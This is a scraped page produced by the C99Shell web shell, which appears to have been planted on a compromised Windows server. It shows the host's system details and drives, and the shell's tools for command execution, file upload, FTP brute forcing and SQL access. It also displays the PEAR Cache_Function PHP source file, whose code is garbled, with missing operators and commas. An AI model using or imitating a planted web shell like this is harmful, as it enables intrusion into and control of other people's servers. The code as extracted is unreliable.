!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\dmz\php\pear\Cache\   drwxrwxrwx
Free 4.08 GB of 39.52 GB (10.32%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Function.php (4.55 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// +----------------------------------------------------------------------+
// | PEAR :: Cache                                                        |
// +----------------------------------------------------------------------+
// | Copyright (c) 1997-2003 The PHP Group                                |
// +----------------------------------------------------------------------+
// | This source file is subject to version 2.0 of the PHP license,       |
// | that is bundled with this package in the file LICENSE, and is        |
// | available at through the world-wide-web at                           |
// | http://www.php.net/license/2_02.txt.                                 |
// | If you did not receive a copy of the PHP license and are unable to   |
// | obtain it through the world-wide-web, please send a note to          |
// | license@php.net so we can mail you a copy immediately.               |
// +----------------------------------------------------------------------+
// | Authors: Sebastian Bergmann <sb@sebastian-bergmann.de>               |
// +----------------------------------------------------------------------+
//
// $Id: Function.php 174777 2004-12-15 09:09:33Z dufuz $

require_once 'Cache.php';

/**
* Function_Cache
*
* Purpose:
*
*   Caching the result and output of functions.
*
* Example:
*
*   require_once 'Cache/Function.php';
*
*   class foo {
*     function bar($test) {
*       echo "foo::bar($test)<br>";
*     }
*   }
*
*   class bar {
*     function foobar($object) {
*       echo '$'.$object.'->foobar('.$object.')<br>';
*     }
*   }
*
*   $bar = new bar;
*
*   function foobar() {
*     echo 'foobar()';
*   }
*
*   $cache = new Cache_Function();
*
*   $cache->call('foo::bar', 'test');
*   $cache->call('bar->foobar', 'bar');
*   $cache->call('foobar');
*
* Note:

*   You cannot cache every function. You should only cache 
*   functions that only depend on their arguments and don't use
*   global or static variables, don't rely on database queries or 
*   files, and so on.

* @author       Sebastian Bergmann <sb@sebastian-bergmann.de>
* @module       Function_Cache
* @modulegroup  Function_Cache
* @package      Cache
* @version      $Revision: 174777 $
* @access       public
*/
class Cache_Function extends Cache
{
    var 
$expires;

    
/**
    * Constructor
    *
    * @param    string  Name of container class
    * @param    array   Array with container class options
    * @param    integer Number of seconds for which to cache
    */
    
function Cache_Function($container  'file',
                            
$container_options = array('cache_dir'       => '.',
                                                       
'filename_prefix' => 'cache_'
                                                      
),
                            
$expires 3600
                           
)
    {
      
$this->Cache($container$container_options);
      
$this->expires $expires;      
    }

    
/**
    * PEAR-Deconstructor
    * Call deconstructor of parent
    */
    
function _Cache_Function()
    {
        
$this->_Cache();
    }

    
/**
    * Calls a cacheable function or method.
    *
    * @return mixed $result
    * @access public
    */
    
function call()
    {
        
// get arguments
        
$arguments func_get_args();

        
// generate cache id
        
$id md5(serialize($arguments));

        
// query cache
        
$cached_object $this->get($id'function_cache');

        if (
$cached_object != null) {
            
// cache hit: return cached output and result

            
$output $cached_object[0];
            
$result $cached_object[1];

        } else {
            
// cache miss: call function, store output and result in cache

            
ob_start();
            
$target array_shift($arguments);

            
// classname::staticMethod
            
if (strstr($target'::')) {
                list(
$class$method) = explode('::'$target);

                
$result call_user_func_array(array($class$method), $arguments);
            } elseif (
strstr($target'->')) {
                
// object->method
                
list($object$method) = explode('->'$target);
                global $
$object;

                
$result call_user_func_array(array($$object$method), $arguments);
            } else {
                
// function
                
$result call_user_func_array($target$arguments);
            }

            
$output ob_get_contents();
            
ob_end_clean();

            
$this->save($id, array($output$result), $this->expires'function_cache');
        }

        echo 
$output;
        return 
$result;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--